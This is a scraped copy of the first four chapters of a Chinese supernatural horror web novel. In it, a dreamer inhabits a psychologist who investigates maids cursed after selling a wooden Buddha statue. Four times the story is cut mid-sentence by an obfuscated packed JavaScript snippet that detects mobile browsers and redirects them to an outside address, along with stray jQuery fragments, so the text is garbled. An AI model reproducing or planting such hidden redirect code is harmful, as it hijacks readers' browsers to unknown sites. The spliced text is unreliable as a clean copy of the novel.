《[灵异]你梦里有我》
1. 001
“医生,我觉得我病了。”
曲通幽迷茫地看着眼前的陌生人,这是个看上去四五十岁的中年女人,衣着简朴,一双关节粗大还带着老茧的手不安地在面前交握着。
她的长相没什么辨识度,脸上的每一道皱纹都刻着隐忍和柔顺,就像是随处可见的那种吃苦耐劳的劳动妇女一样。
这里是什么地方?她为什么要对自己说这话?
她没办法移动身体,连目光都只能在有限的视野内挪动,可却听到“自己”开口说道:“有什么症状吗?”
这是一道男声。年纪不大,非常温和好听,让曲通幽听见了都忍不住想要多跟他唠两句。对面的中年女人显然也没抵挡住这种诱惑,情绪稍稍安定了些,便一股脑说了出来。
“我叫李凤娥,建国前是在大户人家家里做保姆的。建国以后那家人跑到了海外,也不让有保姆这种职业了,我就改行做了家政……我问了新政府的官,他说符合要求的,对吧?”
“嗯,是这样,你付出劳动,他给你钱,这不算剥削,你放心,请继续说。”
“那就好那就好……我做了十年家政了,因为以前有经验,又肯吃苦,所以比那些小姑娘们做得好,很多客户都愿意把我推荐给其他人。然后三个月前吧,我的上一个主家死了。是个七十多的老头,癌症走的,挺正常的,我就被熟人介绍去了另外一家……”
“也是去照顾病人的吗?”
“不是。是小孩子。那家只有个三十多岁的太太,还有个五岁的小男孩。那太太是个寡妇,长得漂亮,也有钱,给我的工资很高,每天就是在家里做做饭,带带孩子,很轻松。我一开始很满意,觉得再没有更好的事了。可做了一星期,我发现……发现那个孩子好像有些问题……”
“是什么问题?”
“就是……医生你年轻,估计还没自己的孩子,一般的五岁小孩,都不懂事,有的小孩话都说不清楚,可那家的那个孩子,他总在看我!有时候我一回头,就正好看到他扭过头,他一直盯着我看!”
“可能是因为你一直照顾他,所以他把你当成了亲近的人呢?”
“不是!不是的!我一开始也这么以为,可后来我留心了几次。我在厨房,他在客厅玩玩具,我偷偷扭头,就正好看到他在盯着我。那不是小孩子的眼神,就跟我们那胡同里的一个老光棍一样,他就是这么看路过的小姑娘的!你知道吧?你们男人那种眼神……恶……”
“我大概明白了,所以你觉得,这可能是自己的精神上有了问题,产生了错觉对吗?”
“……不是……”
“李太太?”
“我直说了吧,师医生,你其实不是看神经病的吧?”
“李太太,我是心理医生,可以帮您解决一些精神上的问题,精神病和神经病是完全不同的……”
对面的女人忽然激动地一挥手,手指向一面墙壁:“你别跟我说那些东西,我没读过书也不懂。可我认识这玩意儿,都是过去那些道士天师才用的,你其实也是能抓鬼,对吧?!”
她发黄的脸上泛起一丝不正常的潮红,看向面前人的目光就像是把他当成了最后一根救命稻草。随着她的动作,曲通幽眼前好像突然有一片雾气被拨开了,她也第一次看清了除了面前女人以外的东西。
墙上挂着的是一面镜子,然而镜面里什么东西都没有映照出来,一片空白的像是某种装饰品。镜子的边缘是刻着陌生字符的金属花边,曲通幽没见过这种风格的镜子,但她附身的这个人正盯着镜子看,所以她也被迫只能看向那里。
这人看了两秒就收回视线,重新看向面前的女人,声音仍然是波澜不惊的温和:“李太太,很多时候,我们以为的鬼都来自我们的内心世界。我很感谢你能克服别人对精神病的偏见走进这里,你是一位非常勇敢的人,既然如此,为什么不先把事情全部说出来,我们再来看看这到底是什么原因造成的呢?”
他的声音和话语有效地安抚了面前激动的女人。她喝了几口温水,终于又继续说起来。
“我确定不是错觉。我记得有一天,我坐在沙发上拣小孩的玩具,他就在我旁边玩,玩了一会儿,沙发上沉了一下,我以为是小孩躺在那睡着了,就转过身去想给他盖个被子。结果我就看到……我看到他没睡着,他正睁着眼睛在看着我!”
“仅仅是睁着眼睛不会让你这么害怕吧?”
“对……你说得对,我一开始吓了一跳,后来仔细看了眼,我发现他其实是闭着眼睛睡着了,但是他……他的眼皮上,还有一双眼睛。你见过那种小女孩玩的娃娃吧?眼珠子是个塑料球的那种,平放着就会转动闭上。那时候,那小孩的眼睛就是转过去了,但是露出来的另外一面还有眼睛,平时一直看着我的,是这双眼睛!”
“不是看错了吗?是不是小孩子调皮,在眼皮上又画了一颗眼睛?”
“不是!我当时离得近,看得特别清楚,那双眼睛是活的!它会咕噜噜地转,还朝我笑,跟电影里那种坏人一样弯着眼角笑,就跟打招呼似的。我吓得一把把小孩推到沙发那头,推醒了,小孩睁着眼睛哇哇大哭,那时候那双眼睛才不见了。师医生,那个小孩身体里还有个东西啊!”
“别紧张,放轻松,李太太。那之后你还遇到了什么吗?”
“在那家没有了……我都遇到了这种事,哪还敢做下去啊。正好那天太太回来,知道我推了小孩一把,她很生气,要扣我工资,我不服气,跟她说这件事,她骂我造谣,那天我们吵得厉害,后来我就不去了……不过等我回去以后,又……”
“我之前打听到的消息,你是又在两家做家政,不过都做得不长?”
“我也不想啊!那东西……那东西缠上我了!我后来再找主家,就挑那种家里没有小孩的家庭。可是……我又看到了,一次是那家里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313045|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
男主人,他睡着的时候我去关书房门,就看到趴在桌上打呼噜的人,睁着眼睛恶狠狠瞪我……我吓傻了,赶快辞职又换了一家,结果这次是那家的司机。这次不仅是眼睛了。当时他张着嘴打呼噜,我看到那张嘴里面又多出了一张嘴……有牙,有舌头,他说我逃不掉的!那些人都是皮套子,套子里是鬼!他要杀了我!呜呜呜……”
“这么说来,你看到的有异常的人,都是男人了?”
“男人?你这么一说……对!是这样!我怎么没有发现呢!师医生,你的意思是不是说,只要我远离男人,那个鬼就没办法再来找我了?”
“有这种可能性。但是我也说了,这很可能只是你的心理问题,并没有鬼跟着你。李太太,我这里有一份心理测试题,我建议你坐下来做一遍。”
“这……这不用了吧?我都找到原因了,以后就没事了。”
“这里是医院,李太太,我是一名心理医生,这是必要的步骤,希望您不要让我太为难。”
“唉……那好吧。”
曲通幽集中精力,想要看看这个看起来神神叨叨的心理医生会出一份怎样的心理测试题目,可她只来得及看到对面的李凤娥拿起笔,眼前的场景就突然消失在了一片迷雾中。
是在做梦吗?可她并没有醒来。
曲通幽好像失去了时间的概念,不知过了多久,雾气散去,之前的之前那间医院诊室消失了,她站在一座外墙斑驳的古旧洋房外面,花园里开满了花,这里应该是曾经辉煌过的,但可能是因为疏于打理,无论是房屋还是花园都透着股阴森森的气氛。
她仍然无法移动,只能跟随着身体主人的动作和五感观察周围。
他绕着洋房缓步行走,时不时停下来看向某个地方,但视野里并没有重点提示,所以曲通幽也不知道他在看什么。过了一会儿,他走向了不远处晒太阳的一个老太太,开口问道:“大姐,这房子这么大,里面住的是什么人啊?”
听声音,她附身的还是之前那个心理医生。
“小伙子你是外地来的吧?”
“嗯,我刚被分配到这边工作,所以这不是出来找老街坊打听一下吗?”
“那你可问对人了,这里住着的黄太太,听说解放前可是吕军阀的小老婆!”
“啊?军阀不是都被打倒了吗?怎么她还能住在里面?”
“嗨,要不怎么说这黄太太不简单呢,她跟吕大帅的时候才十五岁,年纪虽然小,心眼可多得很。应该是早早就看出吕大帅要不行了,所以卷着钱就跑了,过个十几年,等解放了再回来,可不就摇身一变成了归国富商了吗?”
“那她是一个人住在这里吗?”
“还有她的儿子。说是嫁人后男人死了,要我说搞不好就是她又早早把男人给踹了,带着不知道哪来的野种回来的。这事她又不是第一次干了……哎哎,你往这边站点,看,这就是黄太太!”
2. 002
洋房的大门打开,一个中年美妇人牵着一个小男孩走出来。小男孩穿着黑色的小西装,长得俊俏可爱。两人说说笑笑往外走,忽然往这边看了一眼。
女人和小孩的眼睛都很正常,特别是眨眼的时候,没看到有另外一双眼睛翻出来。
“估计又要去百货商场,这家人有钱,随便花,听说还能找保姆来干活。真是的……不都说现在人人平等了吗?还是有这种人上人在,咱们一家六口挤在漏雨的小屋子里,就他们……”
老太太絮絮叨叨的嘟囔声中,曲通幽跟着身体的主人一起看着两人慢慢走远,雾气又升了起来。
“呼——呼!”
“李太太,喝点水。”
“不了……我……我又看到了那双眼睛!”
曲通幽又回到了那间诊室中,可能是因为是第二次来这里了,这次曲通幽能看到的范围比之前大了点。
这是一间装修很老旧的房间,水泥地,下半部分刷着淡绿墙漆的大白墙,头顶是裸露的灯泡。就像是电视剧里那种七八十年前的老式医院的装修,除此之外,倒是看不到能准确定位时间地点的特征。
男人面前是一张破木桌,倒是挺干净的,上面摆着装注射器和温度计的铝盒子、一叠空白处方笺,还有一个一个厚厚的发黄的棕色封面笔记本。
“你回去之后是又去有男人的家庭里做家政了吗?”
“没有!我之前存了点钱,就没工作,我连男人都很少见到!我是在……不是男人,是……”
“是女人也多出了一双眼睛吗?”
“……是我……”
“不好意思,我没有听清楚,可以请你大声点吗?”
“是我自己!!!今天早上我洗脸的时候,水打在脸上,我摸到了我的眼皮,我……我当时闭着眼睛的,但是我在眉毛下面摸到了眼睫毛。还有眼球……滑溜溜的,还在转,我吓得连脸盆都打翻了。我去照了镜子,没看到,但我手指头上有血!你看!!你看,它还在!!”
李凤娥状若癫狂,伸出一双颤抖的手,能看到右手食指上确实有一抹凝固的血迹。
“现在已经看不到那双眼睛了。”
“对,看不到了,不过我还有别的证据!师医生,你看……看我这里……”
她突然对着曲通幽张大了嘴,头往后用力仰着,就像是要把脖子往后掰断一样,师医生靠近了些,然后看到了她想要让他看的东西。
女人的上牙床里面又多出了几颗牙齿。不是长在尽头的智齿,而是和外面一圈牙齿紧贴着的,好像是圆弧里面又多了一圈一样。两圈牙齿中间有深深的缝隙,师医生拿了手电筒找过去,缝隙黑得看不到底。就好像是嘴巴里面又多出了一张嘴,而且即将要跟外面的一层脱离开一样。
“早上还只有一颗的……现在……呜呜……我感觉,我的头里面好像有东西……”
“李太太,可以请您帮忙关一下门吗?”
“啊?好、好的……”
“我应该向您说声对不起,现在看来,您遇到的问题确实不是精神上的问题。”
“那是有……”
“基本可以确定是鬼了。”
“啊!!!”
“请不要担心,鬼怪的突然出现都是有原因的,只要解决了让他们出现的那个东西,就能消灭他们。李太太,请你仔细回忆一下,在第一次感觉到那双眼睛的时候,你有没有做什么特别的事情?”
“我没有!我做保姆一直老实本分,进了黄太太家也就是照常做家务。那天我……我想想,早上我给黄太太和孩子做了早饭,是热牛奶跟煎面包片还有鸡蛋。黄太太是留洋回来的,就喜欢吃这种贵还吃不饱的玩意儿。黄太太那天要出门,我就在家里带着小孩,打扫一下房间什么的,中午吃的是肉酱拌面,这中间我一直觉得有人在看我……等到晚上黄太太带着小孩出门了,告诉我不用等他们,我就去睡了。就这样,真的没了!”
“这中间有发生什么意外吗?任何意外都可以,比如发现了什么奇怪的东西,或者进入了平时不常进入的房间?”
“……”
“看来您是想起了什么。”
“我……打扫卫生的时候,帮黄太太卖了一些东西。看着是些老物件,还挺值钱的,她就说不要了,我还觉得就这么扔了太可惜了。”
“所以您就把这些东西偷偷藏起来,卖给了文物贩子吗?”
对面的女人蹭地站了起来,情绪太过激动以至于打翻了桌上的水杯。她的脸上带着愤怒,愤怒中又夹着一丝被窥破了秘密的惊慌,怒道:“你胡说八道些什么?!我什么时候……”
“李太太,我们现在最重要的是解决您身上出现的问题。您依然可以把我当成您的心理医生,所以请不要隐瞒病情,更不要讳疾忌医。小病拖下去,有的时候可能会变成大病。”
“我……你……唉,好吧,我其实真没说谎,那些东西都是黄太太不要的。那天她丢出来了一大堆,有银元,还有佛像什么的……我问了她好几次,她都说不要了让我扔远点。我这才拿出去卖了的……我小孙子才四个月,缺营养,我就拿钱买了点麦乳精给他……”
“这些东西您卖到了哪里?能找到吗?”
“找不到了……现在有人查投机倒把,我偷偷分散卖的,黑市里的人,找到……估计不能了吧。我听说他们的东西销得很快的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313046|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“那还请您回忆一下,当初卖出去的都有些什么东西。越详细越好,这其中很可能就藏着让您见鬼的东西。”
“我记不太清了……有十几个银元,两个木头的佛像,时间长了有点发霉了,还有个圆的表……”
一双白皙清瘦的手持着毛笔,在一张处方笺上用端正的馆阁体写下李凤娥说的那些东西。曲通幽努力想要看清楚,可她只看到握笔的右手虎口处有一颗殷红的小痣,字迹却渐渐模糊起来。
“银元?我们这每天都有人来当,都是前几十年留下的老物件,留着也不知道以后还能不能用,这东西不值钱,你说的我也没印象。”
“这个缠枝纹银怀表我见过,七天前刚卖了出去。这个佛像是昨天刚有人买走的,您来晚了一步。不过我们留有货品照片,您看看是不是这个。”
白雾突然间散了。曲通幽发现自己正站在一间几十年前的那种老当铺里,当铺门外是明媚的阳光和人流如织的街道。
这个梦到现在为止,她还没见到任何能表明这里的确切时间和地点的东西,所以很想现在出去看一看,但她附身的这个“师医生”全部的注意力却集中在对面那个长衫马褂的当铺伙计递来的一张黑白照片上。
照片上是一尊佛像,旁边标注了它的尺寸,正好是双手能捧住的大小。佛像是木质的,低眉垂目神态慈悲,线条柔和木质润泽,除此之外倒没什么奇怪之处。
“只是看这张照片有点像。这佛像有什么特殊的地方吗?”
“又不是什么名家手笔,能有什么特殊的啊?”
“有啊!小钟你忘了吗?这是那个有名的‘三次佛’啊!”
“什么三次佛?”
“哦,我忘了,那时候你还没来。这个佛像在咱们这里卖进卖出三次了,这是第四次,不对,现在该叫‘四次佛’了哈哈哈!”
“吓,真的假的啊?这佛像看着很普通啊,怎么会那么多人拿它来当?”
“我骗你做什么?这佛像底下有一块红色的木纹,跟人脸一样,我记得清楚着呢,所以它一送过来我就认出来了。”
“请问,之前几次分别都是什么时候收进来的,又是什么时候卖出去的?卖家和买家是同一个人吗?”
“记不清了,第一次收进来好像是四年前吧?”
“五年前!卖家是个年轻姑娘,水灵得哟……”
“对对,我也想起来了!每次把它送来的都是女的,好几个都漂亮得紧,至于买家……奇怪了,我怎么想不起来是什么时候卖出去的?”
“我也不记得了……算了,说不定下次就又送来了。先生你要是想买,我们帮你留意着。”
“那就谢谢了。”
3. 003
啪嗒,啪嗒,啪嗒。
雾气中有脚步声,不疾不徐,宛如雨打屋檐,听得时间长了还有种白噪音一般的安心感。
脚步声周围还有很多其他的声音,小贩叫卖,行人交谈,马车轮吱呀呀碾过石板路面,自行车铃清脆地在打豆花的人群中穿过。虽然什么都看不到,但曲通幽却觉得自己跟着脚步声的主人走过了很多地方,询问了很多人。
“笃笃笃”。
敲门声响起的时候,眼前也突然亮了起来。曲通幽看到了一只干净修长的手,虎口处一点殷红的痣。指节敲在黑漆剥落的木门上,里面没应声,他耐心等了一会儿,又敲一遍。
“谁啊?”
“打扰了,姚小姐。我叫师寂明,是登平县的一个医生。我听说你得了怪病,是特意过来看看能不能帮你治疗的。”
男人的声音一如既往温和镇定,非常能安抚听者的情绪。曲通幽听着这声音第一次高兴起来,却不是因为这声音有多好听,而是她第一次知道了自己附身的人的身份。
有点拗口的名字,也不知道是哪三个字。还有,登平县这地方她没听过,但她也不是熟知国内所有地名的,而且做梦嘛,有虚构的人物和地点也很正常……
屋里传来些声音,像是胆小警惕的鸟雀嗅到了虫子的味道往外探了探头。那带着燥意的沙哑声音贴着木门响起来:“你是什么医生?又从哪听说的?有把握治好我的病?”
“我得看一下您的情况才能确定治疗方案。”
“呵,我看你就是个骗子!多少名医都治不好我的命,你是哪来的假大夫,你也是想来看我的笑话的!”
“我很难在这么短的时间内向您证明我的身份。”
“看!我就说你和那些人一样!你们都觉得我在外面干了不干净的事,我回来以后你们就找各种理由上门看我笑话!你……”
“姚小姐,现在一定要我证明自己的身份没有任何意义。最重要的难道不是你的命吗?”
“我……”
“我之前已经探访过另外两位同样在黄家做过保姆的小姐,她们都已经因为某种怪病去世了。死前据说非常痛苦。您也不想变成第三个吧?”
“什么?!还有其他人?!我……呜呜呜,我也没想到啊,我就是去找个工作,那家人一定有问题!我要怎么办啊……”
“是的,在您之前还有其他受害者,而且在您之后黄家已经又雇佣了一位保姆,现在她也出现了同样的状况。我很同情你们,所以想要试着帮你们解决一下这怪病。”
吱呀一声,面前的黑漆木门打开了。一阵带着轻微臭味的风从阴暗的屋子里扑面而来,一道瘦小佝偻的女人身影站在门后,嘶哑道:“进来吧。”
她曾经应该是个青春美丽的女人,只是现在,她甚至很难称之为是个人了。那骨瘦如柴的身体扭曲着,关节处仿佛长着很多畸形的赘生物,仔细一看才发现,那些竟然是另外一套人类四肢——肩膀处长着另外一条胳膊,膝盖处伸着另外一条小腿,猛一看就好像她穿着一套不怎么合身的怪物人偶装一样。
“人偶装”的头部开了个洞,露出一张僵冷如石雕的脸来,可令人毛骨悚然的是,女人开口说话时,这张脸上的肌肉却是纹丝不动。
“你也看到我现在的样子了。能治吗?”她头顶的一处褶皱翕动着,发出这样的问题。仔细看过去,那道缝隙竟然是一张嘴巴。只是它已经被脖子正上方那僵硬的面孔挤到了头顶,和其他五官都挤在了一起,眼看就要和头皮融为一体消失掉了。
曲通幽在心里倒抽了一口凉气,可她附身的这人却依然淡定。他走上前几步,认真查看女人内外两张脸的连接处,摇头:“很难……如果你早点来找我的话,尚且有机会,但是现在,病情已经太严重了。”
“这是……什么病?”
“用您能理解的话说,这是鬼。您正在被它吞噬。”
“哈……呵呵,我……我就知道。可是我去找了庙里的大师,也请了几个道士,他们都没办法!还说让我去看看皮肤科,我……我……”
“现在真的懂这些的不多了。这东西是从您身体内部长出来的,等到头顶的脸被挤没了,您也就彻底消失了。”
“我会尽力的。但就像我之前说的那样,现在病情已经太严重了。我也只能尽力。”
“你想知道什么?”
“麻烦您先看看,这东西你见过吗?”
“见过。这是黄雅兰的东西。我还在她家的时候,有一次她让我把几个东西一起卖了,就有这佛像。”
“您当时没有觉得奇怪吗?”
“这有什么奇怪的?又不是第一次了。你别看黄雅兰过得富贵体面,实际上早就是绣花枕头表面光鲜了。她自己没工作,还带着个小崽子,每天吃好穿好,靠的都是变卖家里那些物件。”
“卖了佛像前后,有发生什么事吗?”
“能有什么事?后来黄雅兰不知道发什么神经,找了个借口把我开除了算吗?她……”
“看来您是想起了什么。”
女人突然激动起来,那张已经快要变成一堆豆腐皮的脸剧烈抖动着,似乎在用全身的力气怒吼:“是她故意的!她是故意的!!那个死崽子惹了鬼上身,她就故意把鬼引到我身上,然后把我赶走……我要杀了黄雅兰啊啊啊——”
“能详细说说吗?”
“我想起来了!就是他们家那个狗崽子!从小就不学好,五岁就开始去掀人家小姑娘裙子,我干活的时候还偷偷摸我大腿。我一开始以为他是不小心碰的,后来发现这就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313047|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是个纯坏种!和他那个野爹一样!活该他被鬼上身!”
“所以,最开始出现这种情况的,是那个孩子对吗?”
“就是他!那次他摸我腿的时候我发现的。他手指尖破了,没流血,里面……还有一层指甲和手指肚。我当时还以为是皮肤病!现在有的小孩不是会有嵌套甲那种毛病吗?我还提醒黄雅兰了。结果她说我看错了……现在想想,当时她的脸色就很不对劲,那之后就把我打发走了。她肯定早就知道这件事!想办法让我替她那小崽子背了锅就把我撵走了!”
“我明白了。”师寂明合上了一直在记着的棕皮笔记本,站起身来。
“你这就要走?你明白什么了?”
男人似是考虑片刻,还是转身对着女人解释了几句。
“初步怀疑,您卖掉的那个佛像就是鬼的本体。因为我现在的一位病人也是在卖了它之后出事的。”
“啊?可是我已经卖掉了,怎么会……”
“据当铺伙计说,这佛像被卖过三次,每次都又很快被人买走了。”
“什么?!难道是……”
“除此之外,还有一件事情也值得在意。您说自己在那里工作的时候,那个孩子是五岁?”
“黄雅兰是这么说的。怎么了?”
“您应该是去年在黄家做家政的吧?我的病人是今年刚离开那里的。据她说,黄太太告诉她那个孩子今年刚五岁。”
“啊?!!那他……”
“现在还不能确定,我会继续调查的。在此之前请您多保重身体。对了,这些药可能对您的身体有帮助,请按照说明书服用。”
他递过去一个写了字的白色纸包。女人怔然看了片刻,居然噗嗤一声笑出来。
“你还真是医生?这就是他们说的安慰剂吧?罢了罢了……你又不是道士和尚,最多是听说过一些鬼故事罢了。算我倒霉……不过死前能把这事说出去,我心里也痛快些。”
“请您不要丧失希望。须知鬼其实是怕人的,但若你的气先弱了,鬼便会趁虚而入,彻底将你打败。”
雾气弥漫,女人的身影和小屋一起消失,脚步声再次响起。
一个笔记本在雾气中翻开来。看不到笔和手,第一次见到的处方笺上的毛笔字却整齐蔓延。
【调查到黄雅兰于四年前从外地搬来登平县,带着三岁儿子黄宝山寡居。无正当职业,然生活作风奢靡。疑似变卖大笔家财为生。】
【黄雅兰居登平至今,先后雇佣管家一人、厨师一人、园丁一人、女性家政四人。】
【先后查访李小梅、张琦君、姚红霞三名家政,除姚红霞重病仍存活外,其余二人均已病逝。且举家搬迁外地,下落不明。】
【联系到张琦君原住地邻居冯素娥。】
4. 004
曲通幽意识到自己看到的应该是师寂明记录在笔记本上的调查日记。
虽然她不太理解有人这种把自己的隐私都记日记的习惯,但现在她尊重并喜欢这种能让自己简略知道事情发展过程的好习惯。
“冯奶奶,您请坐。”
“哎,好,好……我听说,你是小张以前的朋友,想了解她的事?”
“是的,我是她在国外时候的同学,最近刚刚回国,本想和老友重聚,却没想到已经是天人两隔了……”
“哎,这真是的……小张这丫头可惜啊,本来也是前途无量,可没想到惹上那种东西……”
“那种东西?冯奶奶,琦君不是病逝的吗?”
面前头发花白的老太太左右看了看,眉眼突然敛下来,语气沉重了些:“对外当然是这么说的。可她家人都不在这边了,你又特意从国外来找她,我给你透个底——那小张,是惹了不干净的东西才死的!”
“怎么可能呢?冯奶奶,不瞒您说,我们都是唯物主义者,这世界上根本不可能有鬼的。”
“嗐,你们年轻人还是经历的事情少,一点敬畏心都没有。小张那丫头我可是亲眼见到的……嘶!”
她打了个冷战,脸上露出极度惊恐的神情来。
“能给我讲讲是怎么回事吗?”
“那就从头说起吧……小张她家情况你也知道吧?”
“嗯,她给我简单说过,她是家里的独生女,原本家境优渥,才送她出国留学。只可惜家道中落,所以没有完成学业就回国了。剩下的我就不知道了。”
“是的……唉,小张也是可怜,本来挺好的丫头,在国外呆了几年,学问没多少,倒是把资本主义的享乐风学会了。她爸妈去了,家底也差不多败光了,她还是想过好日子,便不知怎的找了个门路去给大户人家当下人。头几个月拿回来的钱也不少,我想着这也是个出路,可没想到没多久,她就辞工不干了。回来以后,她……她就有些不对劲了……”
“怎么个不对劲法?”
“呼……你以前认识她,应该也知道小姑娘家都爱俏,她手里有了钱,就把自己打扮得花枝招展的到处跑。可是她回来以后,就见天的不出门,偶尔见一次,也是把自己裹得严严实实脸都看不到。还有她看我们的那种眼神……直勾勾阴森森的,就跟我们都是她仇人一样。”
“这也可能是她在做家政的时候受了刺激吧。”
“我一开始也这么想的。还去问过她,可小张她盯着我的眼神就跟我是鬼一样!我也不愿意热脸贴冷屁股,等我走了,我听见她还在背后嘀咕我,说什么‘都是鬼’。当时我就毛毛的……”
“后来您又跟张琦君接触过吗?”
“有!有的!我去她家里收卫生费。本来我是不想去的,可谁让我是她邻居,原来也跟她父母关系不错。我去敲门,里面没人开,可我听到门后有声音。我当时也不知道怎么想的,就凑到门缝上往里看。我……我看到了……”
“看到了什么?”
“看到了……眼睛……”
“您是说,她就在门后,从门缝里也在看着您?”
“不是的!那样我最多觉得她也是神经病,我就是看到了一只眼睛!!眼珠子!那东西背后连着一根肉须,一直往屋里伸。床上有个人影,那眼珠子就是从人影的脸上伸出来的!!我……我当时快吓死了,大喊一声就要跑,可我还没跑走,门就开了。小张就站在门后问我怎么回事……”
“她不记得发生了什么了。”
“嗯对,她不知道……不过她可能是睡着了,起得急,我看到她脸上、身上都长了很多东西,特别可怕,我没敢细看就跑了,那卫生费也是我给她垫的……”
“这听起来确实像是闹鬼。”
“这肯定是啊!那之后不久,小张就死在家里了。还是我闻到臭味了才发现的。我报了警,跟着警察进去看了一眼,尸体……呼……呼……”
“您喝点糖水。别害怕,没事的,现在您很安全。”
在男人温柔平缓的劝说声中,老太太稍微冷静了点,她声音仍然有些颤抖,却终于是能把一句话说完整了。
“她死了好几天了,尸首都有点变形了。而且身边还散着好多碎末,我瞅了一眼,像是掉下来的一片片的干皮。不过最吓人的还是她的脸……她回来以后,这还是我第一次见到她的脸。看起来跟以前的小张一点都不像,我看着,倒像是另外一个人,还是个……是个男人……”
师寂明拿出了一支铅笔:“您能描述一下那张脸的样子吗?”
“你还会画画?我想想……瘦长脸,眼睛细细的,人中长……”
在她的描述中,一副人像素描在笔记本上快速成型。随着人像逐渐完整,曲通幽渐渐觉得这张脸似乎有些眼熟。
在冯素娥还沉浸在恐惧中的时候,师寂明不动声色把笔记本往前翻了几页,将一张照片贴在了素描的左边。
那是之前在当铺里他找到的从黄家卖出去的佛像的照片。黑白相片上木佛低眉垂目,如果忽略过于悲悯的神态的话,能看出左边的照片和右边的素描样貌至少有八分的相像。
“谢谢您,冯奶奶。有机会的话,我会查查是谁害死了张琦君的。”
“能帮上忙就好,小姑娘也是可怜……”
笔记本又往后翻了一页,一行字占据了曲通幽的全部视线。
【监视登平县内所有当铺,调查到四次买回佛像的均为黄家园丁。】
一间茶楼的雅间里,灯光明亮,茶座之间用绿植做了巧妙隔挡,看不到周围的人,只能听到压低了传来的谈笑和鸟鸣声。
坐在对面的是个黄脸男人,面颊凹陷,长相略显愁苦。他不住用手帕擦拭着额头上津津的汗水,看上去紧张极了。
“田先生,不用紧张。只要你把知道的说出来,我不会把那件事情说出去的。”
“好……好。师医生也是这城里的体面人,我信你,信你……”
“那就从你为什么要把那佛像买回来说起?”
“夫人让我买的,我就去买了啊。”
“加上前几天那次,你一共买回了四次,就没觉得奇怪过?”
“我们做下人的……”
“呵,只是下人吗?据我所知,黄太太来登平县的时候就带上了你和管家王忠,来这里之后换过四个保姆,可你们的位置却从未动过。你当真没发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313048|167296||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现这里的异样?”
田姓男人额头汗水滚滚而下。他抖着手拿起桌上茶盏,猛灌了好几口。师寂明也不催,看着他喝干一盏茶,才说道:“我……那佛像……夫人说,留着有用,要镇邪。我才每次按她说的去买回来。”
“镇哪里的邪?”
“我不知道!不过我猜,应该是……应该是少爷的。那小孩不对劲!他不会长大,四年前就差不多这么大了,现在还是这么高这个样子!而且……有的时候他是个正常小孩,有的时候就……眼神,动作,还有说话的语气,就跟我主子一样……不对,他本来就是我主子,可那个语气,他说话的时候……”
“高高在上,颐指气使,像是个久居高位的成年人一样?”
“对!对!还是师医生你这种文化人会讲。就是这个意思!”
“不用浪费时间阿谀奉承,除了这个呢?黄宝山还有哪里不对?”
“他有病……应该是娘胎里带来的,不是刚才说的脑子里的病。就是……有点像皮肤病,有的时候我看到他身上往下掉皮屑。然后破皮里面……里面好像有东西在动。”
“看清是什么东西了吗?”
“我不知道。夫人很宝贝那个孩子,到哪都要带着他。而且每次发病之后,夫人没几天就会招个保姆来家里,然后……少爷的病就突然好了,我再也没见他脱过皮。等到病情稳定了,夫人就找个由头把保姆辞退了,过几天再让我去把佛像买回来……别的我真的什么都不知道了,我就是听她的命令做事啊!”
“黄太太找的保姆有什么共同点吗?”
“没有吧……除了都是女人,她也没有特意找人介绍,就是在报纸上登了广告。现在不是都提倡女人出来工作吗?她给的月钱高,总是很快就能找到的。前面来的那两个,因为应聘的人多,夫人还特意挑了长得漂亮的。后来可能是来过的人都得了怪病死了的事传了出去,来的人就少了,只能挑那种外地来的村姑,最近这个还是个老女人……”
“田先生,你应该跟着黄太太很久了吧?”
“对,我是她在战区的时候就买下的家奴,后来解放了没地方去,她有钱,就继续跟着她做事。有十几年了。”
“那你一定也知道黄宝山的亲生父亲是谁了吧?”
“……”
